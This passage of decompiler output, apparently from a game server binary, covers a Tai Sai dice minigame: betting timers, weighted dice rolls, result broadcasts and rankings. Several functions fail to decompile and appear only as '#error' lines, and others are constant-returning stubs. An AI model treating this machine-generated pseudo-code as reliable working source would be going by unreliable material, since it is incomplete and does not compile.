1; v13 = v4->smh_DiceTaiSai.ActiveDice.CastTime; v4->smh_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v4->smh_DiceTaiSai.ActiveDice.CastTime; *(_WORD *)(v12 + 3) = v13; *(_DWORD *)(v12 + 5) = v4->smh_DiceTaiSai.nTimerCheckTime - clockwatch.cw_CurrTick; if ( v4->smh_DiceTaiSai.nGamerCnt ) { pTaiSaiBettinga = (int)v4->smh_DiceTaiSai.GamerInfo; do { v14 = *(_DWORD *)pTaiSaiBettinga; if ( *(_DWORD *)pTaiSaiBettinga && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v14 + 312))(*(_DWORD *)pTaiSaiBettinga) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v14 + 368))(v14, 1) ) { v15 = ProtocolPacket::pp_SetPacketLen(&gpp, 9); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v15, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer : Packet Too Long", 9) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v14 + 760))(v14); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v14, &gpp); } } ++v3; pTaiSaiBettinga += 8; } while ( v3 < v4->smh_DiceTaiSai.nGamerCnt ); } } v4->smh_DiceTaiSai.nGameStatus = 1; return 7344; } //----- (004F8340) -------------------------------------------------------- #error "4F8340: undefined or illegal type '#593' (funcsize=137)" //----- (004F8490) -------------------------------------------------------- #error "4F8490: undefined or illegal type '#593' (funcsize=167)" //----- (004F8650) -------------------------------------------------------- #error "4F8650: undefined or illegal type '#593' (funcsize=78)" //----- (004F8740) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadBettingCancel(#593 *this, #593 *a2, DiceTaiSaiBetting *pTaiSaiBetting) { return 7365; } //----- (004F8750) -------------------------------------------------------- #error "4F8750: undefined or illegal type '#593' (funcsize=94)" //----- (004F8840) -------------------------------------------------------- #error "4F8840: undefined or illegal type '#593' (funcsize=132)" //----- (004F89B0) -------------------------------------------------------- #error "4F89B0: undefined or illegal type '#593' (funcsize=78)" //----- (004F8AA0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(int pDBAck) { return 7380; } //----- (004F8AB0) -------------------------------------------------------- #error "4F8AB0: undefined or illegal type '#593' (funcsize=78)" //----- (004F8B80) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanAutoDiceRoll(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) { if ( v1->smh_DiceTaiSai.nGameMode ) { result = 7386; } else { if ( v1->smh_DiceTaiSai.nGameStatus == 1 ) { if ( HIDWORD(v1->smh_DiceTaiSai.nBetSumMoney) || LODWORD(v1->smh_DiceTaiSai.nBetSumMoney) ) result = 7376; else result = 7384; } else { result = 7383; } } } else { result = 7385; } return result; } //----- (004F8BE0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_DiceRoll(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // edi@1 int v3; // esi@11 int v4; // edx@11 int v5; // eax@11 int v6; // edx@11 int v7; // esi@11 int v8; // ecx@12 int v9; // edx@13 int v10; // ecx@13 int v11; // edx@14 int v12; // ecx@14 int v13; // edx@15 int v14; // ecx@15 int v15; // edx@16 int v16; // ecx@16 int v17; // edx@17 int v18; // ecx@17 v1 = this; if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) return 7385; if ( v1->smh_DiceTaiSai.nGameStatus != 1 ) return 7383; if ( !HIDWORD(v1->smh_DiceTaiSai.nBetSumMoney) && !LODWORD(v1->smh_DiceTaiSai.nBetSumMoney) ) return 7384; if ( v1->smh_DiceTaiSai.bIsAdminDice == 1 ) { v1->smh_DiceTaiSai.bIsAdminDice = 0; LABEL_10: v1->smh_DiceTaiSai.nGameStatus = 2; return 7376; } v3 = rand() << 15; v4 = ((unsigned int)v3 | (unsigned __int64)(unsigned int)rand()) % v1->smh_DiceTaiSai.nDiceRateSum; v5 = (int)&v1->smh_DiceTaiSai.nDiceRate[1]; v6 = v4 + 1; v7 = 0; do { v8 = *(_WORD *)(v5 - 2); if ( v6 <= v8 ) break; v9 = v6 - v8; v10 = *(_WORD *)v5; if ( v9 <= v10 ) { ++v7; break; } v11 = v9 - v10; v12 = *(_WORD *)(v5 + 2); if ( v11 <= v12 ) { v7 += 2; break; } v13 = v11 - v12; v14 = *(_WORD *)(v5 + 4); if ( v13 <= v14 ) { v7 += 3; break; } v15 = v13 - v14; v16 = *(_WORD *)(v5 + 6); if ( v15 <= v16 ) { v7 += 4; break; } v17 = v15 - v16; v18 = *(_WORD *)(v5 + 8); if ( v17 <= v18 ) { v7 += 5; break; } v7 += 6; v6 = v17 - v18; v5 += 12; } while ( v7 < 216 ); if ( DiceTaiSai::ConvertDice(&gMiniHouseDiceTaiSai, v7, v1->smh_DiceTaiSai.CurrentRollingDice.nNumber) ) goto LABEL_10; return 7380; } //----- (004F8CF0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebx@1 ShineObjectClass::ShineMiniHouse *v2; // ebp@1 int v3; // esi@3 int v4; // edi@7 unsigned __int64 v5; // qax@9 int v6; // eax@11 char v7; // al@18 int v8; // eax@19 int v9; // ecx@20 bool v10; // sf@20 unsigned __int8 v11; // of@20 const char *v13; // [sp-Ch] [bp-20h]@16 char *v14; // [sp+Ch] [bp-8h]@2 int i; // [sp+10h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = -21470; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v14 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *((_WORD *)v1 + 1) = 7392; v3 = *(_DWORD *)v14; if ( !*(_DWORD *)v14 || (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v14) != *(_WORD *)&v2->gap0[4] ) goto LABEL_20; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 412))(v3); if ( v4 ) { LODWORD(v5) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1072))(v3); if ( *(_DWORD *)(v4 + 212) <= v5 ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2004))(v3); if ( v6 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 20))(v6) == 1 ) { *((_WORD *)v1 + 1) = 7396; v13 = "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll : Packet Too Long"; } else { v13 = "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBettingCancel : Packet Too Long"; } v7 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( AssertClass::operator__(&shineassert, (unsigned __int8)v7, v13, 4) ) goto LABEL_20; LABEL_19: v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v3, &gpp); goto LABEL_20; } *((_WORD *)v1 + 1) = 7396; } else { *((_WORD *)v1 + 1) = 7395; } } else { *((_WORD *)v1 + 1) = 7394; } } else { *((_WORD *)v1 + 1) = 7393; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) goto LABEL_19; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll : Packet Too Long", 4); LABEL_20: v9 = v2->smh_DiceTaiSai.nGamerCnt; v11 = __OFSUB__(i + 1, v9); v10 = i++ + 1 - v9 < 0; v14 += 8; } while ( v10 ^ v11 ); } return 7376; } //----- (004F8E60) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { ShineObjectClass::ShineMiniHouse *v2; // edi@1 signed int v3; // ebp@3 int v4; // ebx@4 int v5; // esi@5 int v6; // eax@13 DebugLogging *v7; // edi@14 _iobuf *v8; // eax@16 int v9; // eax@19 int v10; // eax@20 int v11; // edx@21 int v12; // ecx@21 char *v14; // [sp+14h] [bp-Ch]@2 ShineObjectClass::ShineMiniHouse *v15; // [sp+18h] [bp-8h]@1 signed int i; // [sp+1Ch] [bp-4h]@1 v2 = this; v15 = this; i = 0; if ( !pDBAck->nResultCnt ) return 7376; v14 = (char *)&pDBAck[1].nGameNo; do { v3 = 0; if ( !v2->smh_DiceTaiSai.nGamerCnt ) goto LABEL_27; v4 = (int)v2->smh_DiceTaiSai.GamerInfo; while ( 1 ) { v5 = *(_DWORD *)v4; if ( !*(_DWORD *)v4 || (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(*(_DWORD *)v4) != *(_DWORD *)(v14 + 2) ) goto LABEL_10; if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 312))(v5) == *(_WORD *)&v2->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 368))(v5, 1) ) break; v2 = v15; LABEL_10: ++v3; v4 += 8; if ( v3 >= v2->smh_DiceTaiSai.nGamerCnt ) goto LABEL_27; } if ( *((_WORD *)v14 - 1) == 7408 ) { v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)v6 + 32))( v6, v5, *(_WORD *)v14, 0) ) { v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v9 + 40))(v9, *(_WORD *)v14); } else { v7 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll : "); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } DebugLogging::operator<<(v7, &deb_LF); } } v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 412))(v5); if ( v10 ) { v11 = *(_DWORD *)(v14 + 6); v12 = *(_DWORD *)(v14 + 10); if ( v12 < 0 || v12 <= 0 && !v11 ) { v11 = 0; v12 = 0; } *(_DWORD *)(v10 + 216) = v11; *(_DWORD *)(v10 + 220) = v12; } v2 = v15; LABEL_27: v14 += 16; ++i; } while ( i < pDBAck->nResultCnt ); return 7376; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F9000) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebx@1 ShineObjectClass::ShineMiniHouse *v2; // ebp@1 int v3; // esi@3 int v4; // eax@9 int v5; // ecx@10 bool v6; // sf@10 unsigned __int8 v7; // of@10 char *v9; // [sp+Ch] [bp-8h]@2 int i; // [sp+10h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = -21466; *((_WORD *)v1 + 2) = *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0]; v1[6] = this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2]; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v9 = (char *)this->smh_DiceTaiSai.GamerInfo; do { *((_WORD *)v1 + 1) = 7400; v3 = *(_DWORD *)v9; if ( *(_DWORD *)v9 && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v9) == *(_WORD *)&v2->gap0[4] ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) *((_WORD *)v1 + 1) = 7401; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll : Packet Too Long", 7); } } v5 = v2->smh_DiceTaiSai.nGamerCnt; v7 = __OFSUB__(i + 1, v5); v6 = i++ + 1 - v5 < 0; v9 += 8; } while ( v6 ^ v7 ); } return 7376; } //----- (004F9100) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck) { char *v2; // eax@1 void *v3; // esi@1 ShineObjectClass::ShineMiniHouse *v4; // ebp@1 char v5; // cl@1 char *v6; // ebx@2 void *v7; // esi@5 int v8; // eax@10 int v9; // ecx@14 bool v10; // sf@14 unsigned __int8 v11; // of@14 unsigned int v12; // edx@16 char nGamerCnt; // [sp+Fh] [bp-2Dh]@1 int v15; // [sp+10h] [bp-2Ch]@4 int j; // [sp+14h] [bp-28h]@3 signed int i; // [sp+18h] [bp-24h]@1 char *nc; // [sp+1Ch] [bp-20h]@1 void *v19; // [sp+20h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@22 int v21; // [sp+38h] [bp-4h]@22 v2 = gpp.pp_Buffer; v3 = 0; *(_WORD *)gpp.pp_Buffer = -21465; v4 = this; v5 = 0; v2[2] = 0; nc = v2; nGamerCnt = 0; v19 = 0; i = 0; if ( pDBAck->nResultCnt ) { v6 = (char *)&pDBAck[1].header.charregistnumber; do { j = 0; if ( v4->smh_DiceTaiSai.nGamerCnt ) { v15 = (int)v4->smh_DiceTaiSai.GamerInfo; while ( 1 ) { v7 = *(void **)v15; if ( *(_DWORD *)v15 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v7 + 836))(*(_DWORD *)v15) == *((_DWORD *)v6 - 1) && (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v7 + 312))(v7) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v7 + 368))(v7, 1) && *((_WORD *)v6 - 4) == 7408 ) { v8 = *((_DWORD *)v6 + 1); if ( v8 > 0 || v8 >= 0 && *(_DWORD *)v6 ) { v12 = v4->smh_DiceTaiSai.ActiveDice.WinCode[rand() % 3]; goto LABEL_18; } if ( v8 < 0 ) break; } v9 = v4->smh_DiceTaiSai.nGamerCnt; v11 = __OFSUB__(j + 1, v9); v10 = j++ + 1 - v9 < 0; v15 += 8; if ( !(v10 ^ v11) ) goto LABEL_19; } v12 = v4->smh_DiceTaiSai.ActiveDice.LoseCode[rand() % 3]; LABEL_18: *(_WORD *)&nc[6 * (unsigned __int8)nGamerCnt + 3] = *((_WORD *)v7 + 2); *(_DWORD *)&nc[6 * (unsigned __int8)nGamerCnt++ + 5] = v12; v19 = v7; } LABEL_19: v6 += 16; ++i; } while ( i < pDBAck->nResultCnt ); v2 = nc; v5 = nGamerCnt; v3 = v19; } v2[2] = v5; if ( v5 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6 * (unsigned __int8)v5 + 3); v21 = 0; if ( v3 ) ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); v21 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } return 7376; } //----- (004F92E0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_PrepareNextGame(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 result; // ax@2 int v3; // ecx@5 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() ) { if ( v1->smh_DiceTaiSai.nGameStatus == 2 ) { v3 = v1->smh_DiceTaiSai.ActiveDice.DelayTime; v1->smh_DiceTaiSai.nGameStatus = 3; v1->smh_DiceTaiSai.bIsActiveTimerCheckTime = 1; v1->smh_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v3; result = 7376; } else { result = 7380; } } else { result = 7385; } return result; } //----- (004F9330) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetReceiptIncomeMoney(__int16 nInvenSlot) { return 7428; } //----- (004F9340) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetRank(int pDBAck) { return 7452; } //----- (004F9350) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *pDBAck) { unsigned __int16 result; // ax@2 signed int v3; // ebx@3 char *v4; // ebp@4 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v5; // esi@5 int v6; // eax@6 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v7; // ebp@12 char *v8; // esi@12 bool v9; // zf@12 signed int v10; // edx@13 int v11; // ecx@14 char *v12; // eax@14 signed int v13; // eax@18 char v14; // bl@18 int v15; // ecx@22 int v16; // ebp@23 int v17; // edi@24 int v18; // eax@26 int v19; // edi@26 int v20; // eax@31 ShineObjectClass::ShineMiniHouse *v21; // [sp+4h] [bp-8h]@1 signed int v22; // [sp+4h] [bp-8h]@22 PROTO_NC_DICE_TAISAI_DB_RANK_ACK *v23; // [sp+8h] [bp-4h]@12 int pDBAcka; // [sp+10h] [bp+4h]@22 v21 = this; if ( pDBAck->nReqCharNo == -1 ) { result = 7457; } else { v3 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v4 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v5 = *(PROTO_NC_DICE_TAISAI_DB_RANK_ACK **)v4; if ( *(_DWORD *)v4 ) { v6 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v5->nError + 836))(*(_DWORD *)v4); this = v21; if ( v6 == pDBAck->nReqCharNo ) break; } ++v3; v4 += 8; } while ( v3 < this->smh_DiceTaiSai.nGamerCnt ); } else { v5 = pDBAck; } if ( v3 == this->smh_DiceTaiSai.nGamerCnt ) { result = 7457; } else { v7 = v5; v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21479; v9 = pDBAck->nError == 7448; v23 = v7; *((_WORD *)v8 + 1) = pDBAck->nError; v8[4] = 0; v8[405] = 0; if ( v9 ) { v10 = 0; if ( pDBAck->nRankCnt ) { v11 = (int)(v8 + 13); v12 = (char *)&pDBAck[1].nReqCharNo; do { *(_DWORD *)(v11 - 8) = *((_DWORD *)v12 - 2); *(_DWORD *)(v11 - 4) = *((_DWORD *)v12 - 1); *(_DWORD *)v11 = *(_DWORD *)v12; *(_DWORD *)(v11 + 4) = *((_DWORD *)v12 + 1); *(_DWORD *)(v11 + 8) = *((_DWORD *)v12 + 2); ++v10; v12 += 20; v11 += 20; } while ( v10 < pDBAck->nRankCnt ); this = v21; } v8[4] = pDBAck->nRankCnt; } LOBYTE(v13) = this->smh_DiceTaiSai.nGamerCnt; v14 = 0; if ( (unsigned __int8)v13 <= 0x14u ) v13 = (unsigned __int8)v13; else v13 = 20; if ( v13 > 0 ) { v15 = (int)this->smh_DiceTaiSai.pRank; pDBAcka = v15; v22 = v13; do { v16 = *(_DWORD *)v15; if ( *(_DWORD *)v15 ) { v17 = *(_DWORD *)v16; if ( *(_DWORD *)v16 ) { if ( (*(int (__thiscall **)(int))(*(_DWORD *)v17 + 1736))(*(_DWORD *)v16) ) { v18 = (*(int (__thiscall **)(int))(*(_DWORD *)v17 + 1736))(v17); v19 = *(_DWORD *)(v18 + 2); v18 += 2; *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 406] = v19; *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 410] = *(_DWORD *)(v18 + 4); *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 414] = *(_DWORD *)(v18 + 8); *(_DWORD *)&v8[20 * (unsigned __int8)v14 + 418] = *(_DWORD *)(v18 + 12); *(_DWORD *)&v8[4 * (5 * (unsigned __int8)v14++ + 105) + 2] = *(_DWORD *)(v16 + 4); } } } v15 = pDBAcka + 4; v9 = v22 == 1; pDBAcka += 4; --v22; } while ( !v9 ); v7 = v23; } v8[405] = v14; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 20 * (unsigned __int8)v14 + 406) ) { v20 = (*(int (__thiscall **)(PROTO_NC_DICE_TAISAI_DB_RANK_ACK *))(*(_DWORD *)&v7->nError + 760))(v7); (*(void (__thiscall **)(int, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *, ProtocolPacket *))(*(_DWORD *)v20 + 12))( v20, v7, &gpp); result = 7448; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank : Packet Too Long", 20 * (unsigned __int8)v14 + 406); result = 7448; } } } return result; } //----- (004F9550) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadLargeAmount(ShineObjectClass::ShineMiniHouse *this) { char *v1; // ebp@1 ShineObjectClass::ShineMiniHouse *v2; // edi@1 void *v3; // esi@1 int v4; // eax@1 int v5; // ebp@2 void *v6; // esi@3 int v7; // eax@6 int v8; // ecx@9 bool v9; // sf@9 unsigned __int8 v10; // of@9 char *v12; // [sp+Ch] [bp-2Ch]@2 int nGamerCnt; // [sp+10h] [bp-28h]@1 int i; // [sp+14h] [bp-24h]@1 void *v15; // [sp+18h] [bp-20h]@1 char *nc; // [sp+1Ch] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@12 int v18; // [sp+34h] [bp-4h]@12 v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21462; v2 = this; v1[2] = 0; v3 = 0; v4 = 0; nc = v1; nGamerCnt = 0; v15 = 0; i = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v5 = (int)(v1 + 5); v12 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v6 = *(void **)v12; if ( *(_DWORD *)v12 ) { if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 312))(*(_DWORD *)v12) == *(_WORD *)&v2->gap0[4] ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v6 + 368))(v6, 1) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 412))(v6); if ( v7 ) { if ( *(_QWORD *)(v7 + 216) >= (unsigned __int64)v2->smh_DiceTaiSai.ActiveDice.MaxBetMoney ) { *(_WORD *)(v5 - 2) = *((_WORD *)v6 + 2); *(_DWORD *)v5 = *(_DWORD *)(v7 + 216); ++nGamerCnt; v5 += 6; v15 = v6; } } } } } v8 = v2->smh_DiceTaiSai.nGamerCnt; v10 = __OFSUB__(i + 1, v8); v9 = i++ + 1 - v8 < 0; v12 += 8; } while ( v9 ^ v10 ); v1 = nc; v3 = v15; v4 = nGamerCnt; } v1[2] = v4; if ( v4 > 0 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6 * (unsigned __int8)v4 + 3); v18 = 0; if ( v3 ) ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 1); v18 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } return 1; } //----- (004F96C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // ebp@1 int v3; // esi@3 int v4; // eax@8 char *v6; // [sp+10h] [bp-4h]@2 v1 = this; *(_WORD *)gpp.pp_Buffer = -21494; v2 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v6 = (char *)this->smh_DiceTaiSai.GamerInfo; do { v3 = *(_DWORD *)v6; if ( *(_DWORD *)v6 && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 312))(*(_DWORD *)v6) == *(_WORD *)&v1->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 368))(v3, 1) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v4 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold : Packet Too Long", 3); } (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 376))(v3, 0); } v6 += 8; ++v2; } while ( v2 < v1->smh_DiceTaiSai.nGamerCnt ); } return 1; } //----- (004F9790) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTaiSaiGamerCnt(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.nGamerCnt; } //----- (004F97A0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare(const void *a, const void *b) { return *(_DWORD *)(*(_DWORD *)a + 4) < *(_DWORD *)(*(_DWORD *)b + 4); } //----- (004F97C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsCreateDice(ShineObjectClass::ShineMiniHouse *this, char bIsCreateDice, SHINE_ITEM_REGISTNUMBER nCreateDiceKey) { if ( bIsCreateDice == 1 ) { if ( (nCreateDiceKey.binary._bf4 & *(_DWORD *)&nCreateDiceKey) == -1 ) return 0; } else { if ( !bIsCreateDice && (nCreateDiceKey.binary._bf4 & *(_DWORD *)&nCreateDiceKey) != -1 ) return 0; } this->smh_DiceTaiSai.Reserve.bIsCreateDice = bIsCreateDice; *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nCreateDiceKey.binary.gap0[0] = nCreateDiceKey; return 1; } //----- (004F9810) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsCreateDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nCreateDiceKey) { return this->smh_DiceTaiSai.Reserve.bIsCreateDice && *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nCreateDiceKey.binary.gap0[0] == nCreateDiceKey; } //----- (004F9840) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsDeleteDice(ShineObjectClass::ShineMiniHouse *this, char bIsDeleteDice, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey) { if ( bIsDeleteDice == 1 ) { if ( (nDeleteDiceKey.binary._bf4 & *(_DWORD *)&nDeleteDiceKey) == -1 ) return 0; } else { if ( !bIsDeleteDice && (nDeleteDiceKey.binary._bf4 & *(_DWORD *)&nDeleteDiceKey) != -1 ) return 0; } this->smh_DiceTaiSai.Reserve.bIsDeleteDice = bIsDeleteDice; *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nDeleteDiceKey.binary.gap0[0] = nDeleteDiceKey; return 1; } //----- (004F9890) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsDeleteDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey) { return this->smh_DiceTaiSai.Reserve.bIsDeleteDice && *(_QWORD *)&this->smh_DiceTaiSai.Reserve.nDeleteDiceKey.binary.gap0[0] == nDeleteDiceKey; } //----- (004F98C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsBlowGame(ShineObjectClass::ShineMiniHouse *this, char bIsBlowGame) { this->smh_DiceTaiSai.Reserve.bIsBlowGame = bIsBlowGame; return 1; } //----- (004F98D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsBlowGame(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.Reserve.bIsBlowGame; } //----- (004F98E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsLeaveOwner(ShineObjectClass::ShineMiniHouse *this, char bIsLeaveOwner) { this->smh_DiceTaiSai.Reserve.bIsLeaveOwner = bIsLeaveOwner; return 1; } //----- (004F98F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsLeaveOwner(ShineObjectClass::ShineMiniHouse *this) { return this->smh_DiceTaiSai.Reserve.bIsLeaveOwner; } //----- (004F9900) 